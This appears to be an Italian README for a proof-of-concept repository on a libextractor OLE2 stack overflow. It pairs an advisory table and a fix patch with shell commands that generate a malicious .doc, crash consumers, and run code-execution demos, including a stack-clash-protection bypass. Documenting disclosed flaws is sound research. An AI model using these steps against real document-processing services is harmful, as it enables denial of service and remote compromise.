
PoC per un buffer overflow critico basato su stack in GNU libextractor ≤ 1.14. Un file .doc malevolo attiva un'allocazione VLA senza limiti causando un DoS incondizionato. In ambienti multi-thread, aggira le protezioni stack-clash per un RCE completo.
Un buffer overflow basato sullo stack nel plugin OLE2 di GNU libextractor consente denial of service remoto (crash) ed esecuzione di codice durante l'elaborazione di un file .doc appositamente creato. La vulnerabilità risiede in process_star_office() (ole2_extractor.c:349) che alloca un Variable Length Array fino a 4MB sullo stack in base ai dati del file controllati dall'attaccante.
Impatto primario: Denial of Service remoto — manda in crash qualsiasi applicazione che elabora il file malevolo
Impatto secondario: Esecuzione di codice remoto tramite bypass di -fstack-clash-protection sfruttando stack di thread adiacenti
| Campo | Valore |
|---|---|
| CVE | CVE-2026-91752 |
| Prodotto | GNU libextractor |
| Versioni affette | < 1.15 (tutte le versioni fino alla 1.14) |
| Versione corretta | 1.15 |
| CVSS 4.0 | 8.7 HIGH (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) |
| CVSS 3.1 | 7.5 HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| Gravità | HIGH (DoS) / CRITICAL (RCE in modalità multi-thread in-process) |
| CWE | CWE-789 (Memory Allocation with Excessive Size Value) / CWE-121 (Stack-based Buffer Overflow) |
| Vettore di attacco | Rete (qualsiasi percorso di elaborazione file) |
| Privilegi richiesti | Nessuno |
| Interazione utente | Nessuna |
| CNA | VulnCheck |
| Ricercatore | Haitam Lazaar |
Nota: GCC moderno (≥8) abilita
-fstack-clash-protectionper impostazione predefinita, il che nelle applicazioni single-thread converte l'overflow sfruttabile in un crash sicuro. Tuttavia, questa mitigazione può essere aggirata nelle applicazioni multi-thread dove gli stack dei thread sono adiacenti in memoria — i probe del VLA riescono a penetrare nello stack del thread vicino, consentendo l'esecuzione completa di codice anche su build hardened. Vedere docs/BYPASS.md per i dettagli.
.doc non attendibili# Generate malicious .doc
python3 poc/gen_payload.py exploit.doc
# Any application that processes this file with libextractor crashes:
extract exploit.doc # CLI tool → OLE2 plugin worker crashes
gnunet-publish exploit.doc # GNUnet → gnunet-helper-fs-publish crashes

L'animazione sopra mostra l'ambiente di laboratorio automatizzato fornito nella directory lab-setup/. Eseguendo semplicemente docker compose up, un container attaccante genera automaticamente il payload .doc malevolo e lo carica su un servizio web vulnerabile di Document Indexing. La logica di parsing di libextractor attiva lo stack overflow del VLA, consentendo all'attaccante di ottenere silenziosamente l'esecuzione arbitraria di codice. Verifichiamo l'exploit eseguendo cat /tmp/pwned sul container target per vedere l'output del comando.
├── poc/ # Proof of concept
│ ├── gen_payload.py # Generates malicious .doc trigger file
│ ├── poc_rce.c # Demonstrates code execution (protection disabled)
│ └── bypass_rce.c # Stack-clash-protection bypass (multi-threaded)
├── exploit/ # Exploitation details
│ ├── remote_exploit.sh # Example: triggering via HTTP upload (lab scenario)
│ └── extract_server.c # Example: vulnerable application using libextractor
├── patches/ # Recommended fix
│ └── 0001-fix-ole2-vla.patch
├── lab-setup/ # Reproducible test environment
│ ├── Dockerfile # Builds vulnerable libextractor from source
│ ├── docker-compose.yml # Full lab (includes HTTP upload as one test vector)
│ └── upload_server.py # Document indexing service simulation
└── docs/
├── BYPASS.md # Stack-clash-protection bypass technique
└── PAYLOAD_STRUCTURE.md # Malicious .doc file format documentation
# Build libextractor from source
./configure && make && sudo make install
# Generate trigger file
python3 poc/gen_payload.py exploit.doc
# Crash any libextractor consumer
extract exploit.doc # crashes the OLE2 plugin worker
gcc -O2 -fno-stack-clash-protection -o poc_rce poc/poc_rce.c -lextractor
ulimit -s 2048
./poc_rce exploit.doc # executes attacker payload (exit code 42)
gcc -O2 -fstack-clash-protection -o bypass_rce poc/bypass_rce.c -lextractor -lpthread
./bypass_rce exploit.doc # bypasses protection, executes payload (exit code 42)
docker-compose -f lab-setup/docker-compose.yml up -d
// src/plugins/ole2_extractor.c:349
off_t size = gsf_input_size(src); // Attacker controls via OLE2 stream
if (size > 4 * 1024 * 1024) return 0; // Max 4MB allowed — but stack is 1-8MB
char buf[size]; // VLA: up to 4MB ON THE STACK
gsf_input_read(src, size, buf); // Write attacker data
Senza -fstack-clash-protection, il compilatore genera:
sub %rax, %rsp ; Single instruction, jumps RSP past guard page
Con -fstack-clash-protection, i probe possono comunque essere aggirati in contesti multi-thread (vedere docs/BYPASS.md).
- if ( (size < 0x374) ||
- (size > 4 * 1024 * 1024) )
+ char buf[0x374];
+
+ if (size < 0x374)
return 0;
- {
- char buf[size];
- gsf_input_read (src, size, (unsigned char*) buf);
+ gsf_input_read (src, sizeof(buf), (unsigned char*) buf);
Scoperto da me (Haitam Lazaar) durante la mia ricerca di sicurezza indipendente.
Un ringraziamento speciale a Christian Grothoff, il maintainer di GNU libextractor, per il suo triage incredibilmente rapido, la comunicazione professionale e il rapido rilascio delle patch (v1.15, v1.16 e v1.17) per risolvere questo e diversi altri problemi di memory safety segnalati durante questo audit.
La mia ricerca è fornita per scopi educativi e difensivi. Usare in modo responsabile.